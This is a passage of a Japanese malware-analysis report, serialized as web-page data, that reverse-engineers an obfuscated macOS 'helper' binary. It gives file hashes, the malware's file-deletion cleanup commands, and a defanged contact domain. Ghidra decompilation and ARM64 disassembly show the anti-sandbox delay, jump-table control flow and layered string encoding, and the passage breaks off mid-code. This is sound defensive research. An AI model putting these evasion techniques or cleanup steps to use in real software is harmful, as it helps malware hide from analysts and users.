laislivon[.]com/contact\n",[526,13410,13411],{},"後片付けはその直後に行われます。",[854,13413,13414],{"style":13133},[616,13415,13417],{"className":2779,"code":13416,"language":2781,"meta":530,"style":530},"rm -r \u003Cstaging_dir>\nrm /tmp/out.zip\n",[578,13418,13419,13436],{"__ignoreMap":530},[1707,13420,13421,13424,13427,13429,13431,13433],{"class":1709,"line":1710},[1707,13422,13423],{"class":2788},"rm",[1707,13425,13426],{"class":2796}," -r",[1707,13428,13343],{"class":3013},[1707,13430,13346],{"class":2792},[1707,13432,13349],{"class":3023},[1707,13434,13435],{"class":3013},">\n",[1707,13437,13438,13440],{"class":1709,"line":531},[1707,13439,13423],{"class":2788},[1707,13441,13355],{"class":2792},[13102,13443],{},[557,13445,13447],{"id":13446},"stage-2helper-バイナリのリバースエンジニアリング","Stage 2：'helper' バイナリのリバースエンジニアリング",[526,13449,562],{},[526,13451,13452,13453,13456],{},"この解析が本当に深部へ入っていくのは",[578,13454,13455],{},"helper","バイナリです。これはプロの手による難読化が施されたmacOS実行ファイルで、静的解析を組織的に妨害し、本調査で最大のリバースエンジニアリング工数を要しました。",[526,13458,13459],{},"解析はすべてGhidraと当社独自のARM64解析ワークフローで実施しました。",[741,13461,13462],{"id":13462},"ファイル属性",[526,13464,747],{},[854,13466,13468],{"style":13467},"border-radius: 6px; overflow: hidden; margin: 0.25rem 0",[1420,13469,4701,13471,4701,13481],{"style":13470},"width:100%; border-collapse: collapse; font-size: 0.85rem",[1423,13472,4706,13473,4701],{},[1426,13474,11165,13475,11165,13479,4706],{},[1429,13476,13478],{"style":13477},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #dde1e4; text-align: left; font-weight: 600","属性",[1429,13480,1434],{"style":13477},[1436,13482,4706,13483,4706,13492,4706,13501,4706,13509,4706,13519,4706,13529,4701],{},[1426,13484,11165,13485,11165,13489,4706],{},[1441,13486,13488],{"style":13487},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #f6f8fa","Format",[1441,13490,13491],{"style":13487},"Mach-O Universal Binary",[1426,13493,11165,13494,11165,13498,4706],{},[1441,13495,13497],{"style":13496},"border: 1px solid #d0d7de; padding: 0.5rem 0.75rem; background: #ffffff","Architectures",[1441,13499,13500],{"style":13496},"x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)",[1426,13502,11165,13503,11165,13506,4706],{},[1441,13504,13505],{"style":13487},"Size",[1441,13507,13508],{"style":13487},"15.7 MB",[1426,13510,11165,13511,11165,13514,4706],{},[1441,13512,13513],{"style":13496},"MD5",[1441,13515,13516],{"style":13496},[578,13517,13518],{},"4599fdf2fa2099b30d8bbf76703dd634",[1426,13520,11165,13521,11165,13524,4706],{},[1441,13522,13523],{"style":13487},"SHA-1",[1441,13525,13526],{"style":13487},[578,13527,13528],{},"3992edfb6f885ae5f09f3e69a2578048d6d5bb54",[1426,13530,11165,13531,11165,13534,4706],{},[1441,13532,13533],{"style":13496},"SHA-256",[1441,13535,13536],{"style":13496},[578,13537,13538],{},"5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d",[741,13540,13542],{"id":13541},"実行はmainの前に始まる","実行はmain()の前に始まる",[526,13544,747],{},[526,13546,13547,13548,13551,13552,13555],{},"Ghidraで最初に分かったのは、このバイナリが通常の実行ファイルのようには振る舞わないという点です。実際のエントリポイントは",[578,13549,13550],{},"main()","ではなく、",[578,13553,13554],{},"__mod_init_func","に登録された関数です。これは、バイナリのロード時に特定の関数を自動実行するようダイナミックリンカ（dyld）へ指示するmacOSの仕組みで、実行可能なコードが動き出す前に処理が走ります。",[526,13557,13558,13561],{},[578,13559,13560],{},"0x10009f384","にあるinit関数が、このマルウェアの実質的なエントリポイントです。Ghidraによる逆コンパイル結果は次のとおりです。",[854,13563,13564],{"style":13133},[13565,13566,13567,13571,13573,13576,3278,13580,3215,13584,13586,13587,13590,13591,13605],"code-block",{},[1707,13568,13570],{"style":13569},"color:#6a737d","// FUN_10009f384 @ 0x10009f384",[724,13572],{},[1707,13574,13575],{"style":13569},"// __mod_init_func registered — executes before main()",[1707,13577,13579],{"style":13578},"color:#d73a49","void",[1707,13581,13583],{"style":13582},"color:#6f42c1","FUN_10009f384",[1707,13585,13579],{"style":13578},")\n{\n  ",[1707,13588,13589],{"style":13578},"int"," iVar1;\n",[526,13592,13593,13596,13597,3215,13600,13604],{},[1707,13594,13595],{"style":13569},"// Anti-sandbox delay: usleep(0x37e) = 894 microseconds","\niVar1 = ",[1707,13598,13599],{"style":13582},"_usleep",[1707,13601,13603],{"style":13602},"color:#005cc5","0x37e",");",[526,13606,13607,13610,13613,13614,13616,13617,13620,13621,13624,13625,13628,13629,13632],{},[1707,13608,13609],{"style":13569},"// Indirect jump table — 14-state machine",[1707,13611,13612],{"style":13569},"// Defeats CFG reconstruction in static analysis tools","\n(_(",[1707,13615,578],{"style":13578}," _)((",[1707,13618,13619],{"style":13578},"ulong",")switchD_10009f43c::switchdataD_1000cd3fc * ",[1707,13622,13623],{"style":13602},"4"," + ",[1707,13626,13627],{"style":13602},"0x10009f440","))(iVar1);\n",[1707,13630,13631],{"style":13578},"return",";\n}",[526,13634,13635,13636,13639,13640,13643],{},"すぐに目を引く点が2つあります。1つは起動時の894マイクロ秒の",[578,13637,13638],{},"usleep","、アンチサンドボックスのタイミング信号です。より厄介なのは",[578,13641,13642],{},"0x10009f43c","にある間接ジャンプテーブルです。これは分岐先アドレスを実行時にルックアップテーブルから求める計算分岐で、静的解析ツールは制御フローグラフを再構成できません。Ghidraは実行経路を追おうとして「unreachable block」の警告を複数回記録しました。これは設計どおりの結果です。",[526,13645,13646,13647,13650],{},"このジャンプテーブルが",[567,13648,13649],{},"14状態の実行マシン","を駆動します。各状態は復号・実行パイプラインの単一の離散的なステップを担当します。状態カウンタはステップごとに更新され、マシンはすべての状態を通過するまで動き続けます。",[741,13652,13654],{"id":13653},"ステートディスパッチャのarm64逆アセンブル","ステートディスパッチャのARM64逆アセンブル",[526,13656,747],{},[854,13658,13659],{"style":13133},[616,13660,13664],{"className":13661,"code":13662,"language":13663,"meta":530,"style":530},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[578,13665,13666,13671,13676,13681,13686,13691,13696,13701,13706,13711],{"__ignoreMap":530},[1707,13667,13668],{"class":1709,"line":1710},[1707,13669,13670],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[1707,13672,13673],{"class":1709,"line":531},[1707,13674,13675],{},"10009f41c:  mov w0,#0x37e\n",[1707,13677,13678],{"class":1709,"line":2090},[1707,13679,13680],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[1707,13682,13683],{"class":1709,"line":2096},[1707,13684,13685],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[1707,13687,13688],{"class":1709,"line":2419},[1707,13689,13690],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[1707,13692,13693],{"class":1709,"line":2425},[1707,13694,13695],{},"10009f42c:  mov w8,w25               ; current state index\n",[1707,13697,13698],{"class":1709,"line":3077},[1707,13699,13700],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[1707,13702,13703],{"class":1709,"line":3872},[1707,13704,13705],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[1707,13707,13708],{"class":1709,"line":3878},[1707,13709,13710],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[1707,13712,13713],{"class":1709,"line":4125},[1707,13714,13715],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[741,13717,13718],{"id":13718},"積み重ねられた6層の難読化",[526,13720,747],{},[526,13722,13723,13724,13727],{},"このバイナリは6種類の難読化層を用い、それらを積み重ねて連結しているため、各層の出力が次の層へ供給されます。ペイロードも文字列も内部定数もすべてエンコードされています。",[578,13725,13726],{},"__const","セグメントには意味のある平文は一切現れません。以下は、個々のARM64命令のレベルまでGhidra上で直接検証した、層ごとの完全な読み解きです。使われている技法は個別に見ればいずれも既知のものですが、複数段にわたって連結した適用は相互依存の強い実行フローを生み出し、静的解析と動的解析の双方を著しく困難にしました。",[13102,13729],{},[889,13731,13733],{"id":13732},"layer-1コンパイル時トリプレットエンコーディング","Layer 1：コンパイル時トリプレットエンコーディング",[526,13735,895],{},[526,13737,13738,13739,13742],{},"バイナリ内の文字列は文字の並びとしては保存されておらず、12バイトの算術トリプレットの列として格納されています。各トリプレット",[578,13740,13741],{},"(a, b, shift)","がちょうど1文字の出力をエンコードします。このエンコード方式はコンパイル時に適用されるため、ロード時に一時的にも、平文の文字列がバイナリ内に存在することはありません。",[526,13744,13745,13746,13749,13750,13753,13754,13757,13758,13749,13761,13764,13765,13768],{},"2つの独立したデコーダ関数が、異なる文字列長を扱います。",[578,13747,13748],{},"0x100087c08","にある",[578,13751,13752],{},"FUN_100087c08","は60文字の文字列（",[578,13755,13756],{},"DAT_1006292cc","からの720バイトの入力データ）をデコードします。",[578,13759,13760],{},"0x10007ad80",[578,13762,13763],{},"FUN_10007ad80","は56文字の文字列（",[578,13766,13767],{},"DAT_10049708c","からの672バイト）をデコードします。どちらも同じアルゴリズムを使います。",[854,13770,13771],{"style":13133},[13565,13772,13773,13776,13778,13781,3278,13783,3215,13785,13788,13789,13791,13792,13794,13795,13797,13798,13801,13802],{},[1707,13774,13775],{"style":13569},"// FUN_100087c08 @ 0x100087c08",[724,13777],{},[1707,13779,13780],{"style":13569},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[1707,13782,13579],{"style":13578},[1707,13784,13752],{"style":13582},[1707,13786,13787],{"style":13578},"long"," *param_1)\n{\n  ",[1707,13790,13787],{"style":13578}," *plVar1;\n  ",[1707,13793,13579],{"style":13578}," *pvVar2;\n  ",[1707,13796,13787],{"style":13578}," lVar3;\n  ",[1707,13799,13800],{"style":13578},"uint"," *puVar4;\n",[526,13803,13804,13805,3215,13808,13811,13812,13817,13820,13821,13811,13823,13826,13828,13831,13832,2016,13835,13811,13838,13841,13842,13844,13845,13616,13847,13849,13850,3080,13853,13856,13857,13859,13860,13863,13864,13867,13868,13616,13871,13873,13874,13877,13878,13881,13883,13886,13887,13616,13889,13891,13892,13894,13895,13897,13898,13903,13904,13907,13908,13913,13914,13917,13918,13920,13921,13926,13927,13929,13930,13932,13933,13936,13937,13940,13941,13811,13943,13946,13948,13951,13952,13632],{},"pvVar2 = ",[1707,13806,13807],{"style":13582},"operator_new",[1707,13809,13810],{"style":13602},"0x2d0","); ",[1707,13813,13814,13815],{"style":13569},"// allocate 720 bytes (60 triplets × 12)",[724,13816],{},[1707,13818,13819],{"style":13582},"_memcpy","(pvVar2, &DAT_1006292cc, ",[1707,13822,13810],{"style":13602},[1707,13824,13825],{"style":13569},"// copy encoded triplets from __const",[724,13827],{},[1707,13829,13830],{"style":13582},"FUN_1000a0840","(param_1, ",[1707,13833,13834],{"style":13602},"0x3c",[1707,13836,13837],{"style":13602},"0",[1707,13839,13840],{"style":13569},"// init 60-char output buffer","\nlVar3 = ",[1707,13843,13837],{"style":13602},";\npuVar4 = (",[1707,13846,13800],{"style":13578},[1707,13848,13787],{"style":13578},")pvVar2 + ",[1707,13851,13852],{"style":13602},"8",[1707,13854,13855],{"style":13578},"do"," {\nplVar1 = (",[1707,13858,13787],{"style":13578}," _)_param_1;\n",[1707,13861,13862],{"style":13578},"if"," (-",[1707,13865,13866],{"style":13602},"1"," \u003C _(",[1707,13869,13870],{"style":13578},"char",[1707,13872,13787],{"style":13578},")param_1 + ",[1707,13875,13876],{"style":13602},"0x17",")) {\nplVar1 = param_1;\n}\n",[1707,13879,13880],{"style":13569},"// THE DECODE FORMULA, one character per triplet:",[724,13882],{},[1707,13884,13885],{"style":13569},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[1707,13888,13870],{"style":13578},[1707,13890,13787],{"style":13578},")plVar1 + lVar3) =\n(",[1707,13893,13870],{"style":13578},")((",[1707,13896,13589],{"style":13578},")(puVar4",[1707,13899,13900,13901],{},"-",[1707,13902,13866],{"style":13602}," * ",[1707,13905,13906],{"style":13602},"3"," ^ puVar4",[1707,13909,13900,13910],{},[1707,13911,13912],{"style":13602},"2",") >> (*puVar4 & ",[1707,13915,13916],{"style":13602},"0x1f",")) - (",[1707,13919,13870],{"style":13578},")puVar4",[1707,13922,13923],{},[1707,13924,13925],{"style":13602},"-1",";\nlVar3 = lVar3 + ",[1707,13928,13866],{"style":13602},";\npuVar4 = puVar4 + ",[1707,13931,13906],{"style":13602},"; ",[1707,13934,13935],{"style":13569},"// advance 12 bytes — next triplet","\n} ",[1707,13938,13939],{"style":13578},"while"," (lVar3 != ",[1707,13942,13834],{"style":13602},[1707,13944,13945],{"style":13569},"// loop exactly 60 times",[724,13947],{},[1707,13949,13950],{"style":13582},"operator_delete","(pvVar2);\n",[1707,13953,13631],{"style":13578},[526,13955,13956],{},"対応するARM64アセンブリは次のとおりで、各命令が式の中の演算に直接対応します。",[854,13958,13959],{"style":13133},[616,13960,13963],{"className":13961,"code":13962,"language":621},[619],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[578,13964,13962],{"__ignoreMap":530},[526,13966,13967,13968,13971,13972,13975],{},"注目すべき点として、",[578,13969,13970],{},"b × 3","の乗算は",[578,13973,13974],{},"add w12, w11, w11, LSL #1","として実装されています。乗算命令を完全に避けるシフト・アンド・アッドです。これは古典的なコンパイラ最適化であると同時に、シグネチャマッチングによる検出を難しくする効果もあります。",[526,13977,13978],{},"デコード式の全体は次のとおりです。",[854,13980,13981],{"style":13133},[616,13982,13985],{"className":13983,"code":13984,"language":621},[619],"char = ASR( (b × 3) XOR a, shift ) − b\n",[578,13986,13984],{"__ignoreMap":530},[526,13988,13989,13992,13993,13996,13997,14000],{},[578,13990,13991],{},"ASR","（算術右シフト）が決定的に重要で、符号ビットを保持します。",[578,13994,13995],{},"(b×3) XOR a","の中間結果が負になる場合（これは頻繁に起こります）、論理シフトではまったく異なる結果になってしまいます。これは意図的なものです。高級言語で",[578,13998,13999],{},">>","を使ってこの式を再実装すると、符号付き演算を明示的に考慮しない限り、誤った出力が黙って生成されます。",[526,14002,14003,14004,14006,14007,14009,14010,14013],{},"56文字版の",[578,14005,13763],{},"は構造的に同一で、",[578,14008,13767],{},"を対象にループ上限",[578,14011,14012],{},"0x38","で動作します。両関数とも、本解析の中でGhidra上で実際に確認しました。",[13102,14015],{},[889,14017,14019],{"id":14018},"layer-216進文字列エンコーディング","Layer 2：16進文字列エンコーディング",[526,14021,895],{},[526,14023,14024,14025,14028,14029,14032,14033,14036,14037,14040],{},"Layer 1が生成する生バイト列は、それ自体がASCIIの16進文字であり、バイナリデータではありません。Layer 1のトリプレットデコードの出力は16進ペアからなる文字列、たとえば",[578,14026,14027],{},"32694e5462...","です。これは",[578,14030,14031],{},"0x100000dc0","にあるデコーダ関数",[578,14034,14035],{},"FUN_100000dc0","から裏づけられます。この関数は",[578,14038,14039],{},"DAT_1007bb591","のルックアップテーブルを介した16進デコードを実装しています。",[526,14042,14043,14044,13900,14047,647,14050,13900,14053,647,14056,13900,14059,14062],{},"Ghidraの逆コンパイル結果には、各16進文字（",[578,14045,14046],{},"0x30",[578,14048,14049],{},"0x39",[578,14051,14052],{},"0x41",[578,14054,14055],{},"0x46",[578,14057,14058],{},"0x61",[578,14060,14061],{},"0x66","）をニブル値へ対応づけ、2文字ずつまとめて出力バイトを組み立てるswitch文が現れます。",[854,14064,14065],{"style":13133},[13565,14066,14067,14070,14073,14076,14077,14080,14081,14083,14084,3278,14087,1002,14089,14092,14093,4701,14096,3278,14098,14101,14102,13932,14105,14107,14108,4701,14111,3278,14113,14101,14116,13932,14119,14107,14121,4701,14124,4701,14127,3278,14129,1002,14131,3278,14133,14101,14135,13932,14138,14140,14141,4701,14144,3278,14146,1002,14149,3278,14151,14101,14154,13932,14157,14140,14159,4701,14162,3278,14164,1002,14167,3278,14169,14172,14173,13932,14176,14140,14178,4701,14181,3278,14183,1002,14186,3278,14188,14191,14192,13932,14195,14140,14197,4701,14200,3278,14202,1002,14205,3278,14207,14101,14210,13932,14213,14140,14215,4701,14218,3278,14220,1002,14222,3278,14224,14101,14226,13932,14229,14140,14231,14234,14235,14238,14239,14080,14242,14244,14245,14247,14248,14251],{},[1707,14068,14069],{"style":13569},"// FUN_100000dc0 @ 0x100000dc0",[1707,14071,14072],{"style":13569},"// Hex decoder, processes input two characters per output byte",[1707,14074,14075],{"style":13578},"switch","(*(",[1707,14078,14079],{"style":13578},"undefined1"," *)((",[1707,14082,13787],{"style":13578},")plVar2 + lVar7)) {\n  ",[1707,14085,14086],{"style":13578},"case",[1707,14088,14046],{"style":13602},[1707,14090,14091],{"style":13578},"break",";                  ",[1707,14094,14095],{"style":13569},"// '0' → 0x00",[1707,14097,14086],{"style":13578},[1707,14099,14100],{"style":13602},"0x31",": bVar9 = ",[1707,14103,14104],{"style":13602},"0x10",[1707,14106,14091],{"style":13578},";   ",[1707,14109,14110],{"style":13569},"// '1' → 0x10",[1707,14112,14086],{"style":13578},[1707,14114,14115],{"style":13602},"0x32",[1707,14117,14118],{"style":13602},"0x20",[1707,14120,14091],{"style":13578},[1707,14122,14123],{"style":13569},"// '2' → 0x20",[1707,14125,14126],{"style":13569},"// ... '3' through '9' ...",[1707,14128,14086],{"style":13578},[1707,14130,14052],{"style":13602},[1707,14132,14086],{"style":13578},[1707,14134,14058],{"style":13602},[1707,14136,14137],{"style":13602},"0xa0",[1707,14139,14091],{"style":13578},";  ",[1707,14142,14143],{"style":13569},"// 'A'/'a' → 0xa0",[1707,14145,14086],{"style":13578},[1707,14147,14148],{"style":13602},"0x42",[1707,14150,14086],{"style":13578},[1707,14152,14153],{"style":13602},"0x62",[1707,14155,14156],{"style":13602},"0xb0",[1707,14158,14091],{"style":13578},[1707,14160,14161],{"style":13569},"// 'B'/'b' → 0xb0",[1707,14163,14086],{"style":13578},[1707,14165,14166],{"style":13602},"0x43",[1707,14168,14086],{"style":13578},[1707,14170,14171],{"style":13602},"99",":   bVar9 = ",[1707,14174,14175],{"style":13602},"0xc0",[1707,14177,14091],{"style":13578},[1707,14179,14180],{"style":13569},"// 'C'/'c' → 0xc0",[1707,14182,14086],{"style":13578},[1707,14184,14185],{"style":13602},"0x44",[1707,14187,14086],{"style":13578},[1707,14189,14190],{"style":13602},"100",":  bVar9 = ",[1707,14193,14194],{"style":13602},"0xd0",[1707,14196,14091],{"style":13578},[1707,14198,14199],{"style":13569},"// 'D'/'d' → 0xd0",[1707,14201,14086],{"style":13578},[1707,14203,14204],{"style":13602},"0x45",[1707,14206,14086],{"style":13578},[1707,14208,14209],{"style":13602},"0x65",[1707,14211,14212],{"style":13602},"0xe0",[1707,14214,14091],{"style":13578},[1707,14216,14217],{"style":13569},"// 'E'/'e' → 0xe0",[1707,14219,14086],{"style":13578},[1707,14221,14055],{"style":13602},[1707,14223,14086],{"style":13578},[1707,14225,14061],{"style":13602},[1707,14227,14228],{"style":13602},"0xf0",[1707,14230,14091],{"style":13578},[1707,14232,14233],{"style":13569},"// 'F'/'f' → 0xf0","\n}\n",[1707,14236,14237],{"style":13569},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[1707,14240,14241],{"style":13578},"byte",[1707,14243,13787],{"style":13578},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[1707,14246,13619],{"style":13578},")uVar4 & ",[1707,14249,14250],{"style":13602},"0xff","] | bVar9;\n",[526,14253,14254],{},"ARM64アセンブリはこれを二次的な計算分岐テーブルで駆動し、事実上55エントリのジャンプテーブルとしてswitchを実装しています。",[854,14256,14257],{"style":13133},[616,14258,14261],{"className":14259,"code":14260,"language":621},[619],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[578,14262,14260],{"__ignoreMap":530},[526,14264,14265],{},"24バイトの範囲に計算分岐が2つ。どちらの分岐先も解析時点では不明なため、静的解析ツールはこのパターンに対処できません。",[526,14267,14268],{},"137,208文字の16進文字列はデコード後に68,604バイトとなり、それがLayer 3へ供給されます。",[13102,14270],{},[889,14272,14274],{"id":14273},"layer-3独自の16シンボルニブルアルファベット","Layer 3：独自の16シンボル・ニブルアルファベット",[526,14276,895],{},[526,14278,14279],{},"Layer 2から出力される68,604バイトは、連続しない2つのASCII領域から取られた16種類のバイト値しか使いません。",[631,14281,14282,14327],{},[634,14283,14284,14287,14288,647,14291,647,14294,647,14297,647,14300,647,14302,647,14305,647,14308,647,14310,647,14312,647,14315,647,14317,647,14319,647,14321,647,14324],{},[578,14285,14286],{},"0x20-0x2F","：空白、",[578,14289,14290],{},"!",[578,14292,14293],{},"\"",[578,14295,14296],{},"#",[578,14298,14299],{},"$",[578,14301,4020],{},[578,14303,14304],{},"&",[578,14306,14307],{},"'",[578,14309,3215],{},[578,14311,4433],{},[578,14313,14314],{},"*",[578,14316,3761],{},[578,14318,10749],{},[578,14320,13900],{},[578,14322,14323],{},".",[578,14325,14326],{},"/",[634,14328,14329,14332,14333,647,14336,647,14339,647,14342,647,14345,647,14348,647,14351,14354],{},[578,14330,14331],{},"0x78-0x7F","：",[578,14334,14335],{},"x",[578,14337,14338],{},"y",[578,14340,14341],{},"z",[578,14343,14344],{},"{",[578,14346,14347],{},"|",[578,14349,14350],{},"}",[578,14352,14353],{},"~","、DEL",[526,14356,14357],{},"これは意図的な設計判断です。16進エディタ上では、これらのバイトは空白や約物、ASCIIの端の文字に見え、メタデータやパディングらしきものの雑音に紛れます。16進ダンプを流し読みするアナリストは、このバイト領域を不審とは判定しませんし、バイト分布がランダムに見えないため、標準的なエントロピー解析は実効的なエントロピーを過小評価します。",[526,14359,14360,14361,14364,14365,14368,14369,14372,14373,14376],{},"このアルファベットの各バイトが、実際のペイロードの1ニブルをエンコードします。アルファベットとニブルの対応づけを適用するのはエンコード／デコード関数",[578,14362,14363],{},"FUN_100000d60","で、",[578,14366,14367],{},"0x100000d60","にあることを確認しました。この関数は2つのサブ関数を連結します。",[578,14370,14371],{},"FUN_100000b50","が入力文字列の文字をインデックス付きのマップにし、",[578,14374,14375],{},"FUN_100000c34","がそのマップをたどりながら1ステップあたり6ビットを消費し、8ビット単位で出力バイトを積み上げます。",[854,14378,14379],{"style":13133},[13565,14380,14381,14384,14385,3463,14387,14389,14390,14392,14393,14396,14397,4701,14400,14402,14403,14405,14406,4706,14409,14411,14412,14415,14416,14418,14419,4706,14422,14424,14425,14428,14429,14432,14433,14435,14436,14439,14440,14442,14443,14080,14446,14448,14449,14451,14452,14454],{},[1707,14382,14383],{"style":13569},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[1707,14386,13837],{"style":13602},[1707,14388,13855],{"style":13578}," {\n  local_52 = *(",[1707,14391,14079],{"style":13578}," *)puVar4;\n  lVar3 = ",[1707,14394,14395],{"style":13582},"FUN_1000a078c","(param_3, &local_52);  ",[1707,14398,14399],{"style":13569},"// look up nibble value",[1707,14401,13862],{"style":13578}," (lVar3 == ",[1707,14404,13837],{"style":13602},") {\n    ",[1707,14407,14408],{"style":13569},"// character not in alphabet, treat as raw",[1707,14410,14395],{"style":13582},"(param_3, &local_51);\n  } ",[1707,14413,14414],{"style":13578},"else"," {\n    iVar5 = iVar5 + ",[1707,14417,13623],{"style":13602},";           ",[1707,14420,14421],{"style":13569},"// accumulate 4 bits",[1707,14423,13939],{"style":13578}," (",[1707,14426,14427],{"style":13602},"7"," \u003C iVar5) {\n      std::string::",[1707,14430,14431],{"style":13582},"push_back","((",[1707,14434,13870],{"style":13578},")param_1);  ",[1707,14437,14438],{"style":13569},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[1707,14441,13852],{"style":13602},";\n    }\n  }\n  puVar4 = (",[1707,14444,14445],{"style":13578},"undefined8",[1707,14447,13787],{"style":13578},")puVar4 + ",[1707,14450,13866],{"style":13602},");\n} ",[1707,14453,13939],{"style":13578}," (puVar4 != puVar1);\n",[526,14456,14457],{},"この処理から得られる34,302バイトは、99.7%が印字可能なASCIIです。ざっと見た限りでは、この段階のペイロードは大きなシェルスクリプトか設定用のブロブのように見えます。",[13102,14459],{},[889,14461,14463],{"id":14462},"layer-4コンパイル時文字列難読化","Layer 4：コンパイル時文字列難読化",[526,14465,895],{},[526,14467,14468],{},"内部で使われる文字列は、Layer 1と同じトリプレット方式でコンパイル時に難読化され、実行時に使用の直前で再構成されます。メモリ上には必要以上に長く留まらず、バッファは使用後ただちに解放されます。バイナリの静的データセクションに、デコード済みの文字列が見える瞬間は一度もありません。",[526,14470,14471,14472,14475],{},"文字列ハッシュ関数",[578,14473,14474],{},"FUN_100000730","は、文字列比較に対する二次的な難読化層を提供します。文字列を直接比較すればメモリ上に平文が残ってしまうため、このバイナリは整数ハッシュを計算して比較します。",[854,14477,14478],{"style":13133},[13565,14479,14480,14483,14486,3278,14488,3215,14490,13788,14492,14494,14495,14498,14499,4701,14502,4701,14505,14508,14509,14511,14512,14514,14515,14517,14518,14140,14521,14524,14525,14527,14528,14530],{},[1707,14481,14482],{"style":13569},"// FUN_100000730 @ 0x100000730",[1707,14484,14485],{"style":13569},"// FNV-style string hash, avoids plaintext string comparisons",[1707,14487,13589],{"style":13578},[1707,14489,14474],{"style":13582},[1707,14491,13870],{"style":13578},[1707,14493,13589],{"style":13578}," iVar4 = ",[1707,14496,14497],{"style":13602},"0x19a8",";    ",[1707,14500,14501],{"style":13569},"// FNV offset basis (modified)",[1707,14503,14504],{"style":13569},"// ...",[1707,14506,14507],{"style":13578},"for"," (; uVar3 != ",[1707,14510,13837],{"style":13602},"; uVar3 = uVar3 - ",[1707,14513,13866],{"style":13602},") {\n    iVar4 = (",[1707,14516,13589],{"style":13578},")*pcVar1 + iVar4 * -",[1707,14519,14520],{"style":13602},"0x7fb91be3",[1707,14522,14523],{"style":13569},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1707,14526,13866],{"style":13602},";\n  }\n  ",[1707,14529,13631],{"style":13578}," iVar4;\n}\n",[526,14532,14533],{},"ARM64アセンブリでは、この乗算が積和演算（fused multiply-add）に置き換えられています。",[854,14535,14536],{"style":13133},[616,14537,14540],{"className":14538,"code":14539,"language":621},[619],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[578,14541,14539],{"__ignoreMap":530},[526,14543,14544],{},"つまり、バイナリ内で2つの文字列を比較しても、デバッガが文字列のレベルできれいに捕捉できる分岐は生まれず、ハッシュのレベルでしか捉えられません。",[13102,14546],{},[889,14548,14550],{"id":14549},"layer-5二重のカスタムストリーム暗号インスタンス","Layer 5：二重のカスタムストリーム暗号インスタンス",[526,14552,895],{},[526,14554,14555,14556,14559],{},"ここから難読化アーキテクチャは異例の様相を帯びます。このバイナリで動作する暗号インスタンスは1つではなく、",[567,14557,14558],{},"独立した2つのインスタンス","であり、それぞれ異なるハードコードされたルックアップテーブルと異なる初期カウンタを持ちます。どちらも同じアルゴリズム構造を使いますが、ペイロードパイプラインの異なる部分に向けて異なる出力アルファベットを生成します。",[526,14561,14562,14565,14566,13749,14569,14572],{},[567,14563,14564],{},"インスタンスA","は",[578,14567,14568],{},"0x10007ab34",[578,14570,14571],{},"FUN_10007ab34","です。",[854,14574,14575],{"style":13133},[13565,14576,14577,14580,14581,3463,14584,14586,14587,14080,14589,14591,14592,14594,14595,14080,14597,14599,14600,14602,14603,14080,14605,14607,14608,14610,14611,14614,14615,14617,14618,14620],{},[1707,14578,14579],{"style":13569},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1707,14582,14583],{"style":13602},"0x4c",[1707,14585,13855],{"style":13578}," {\n  bVar2 = *(",[1707,14588,14241],{"style":13578},[1707,14590,13787],{"style":13578},")local_e0 +\n          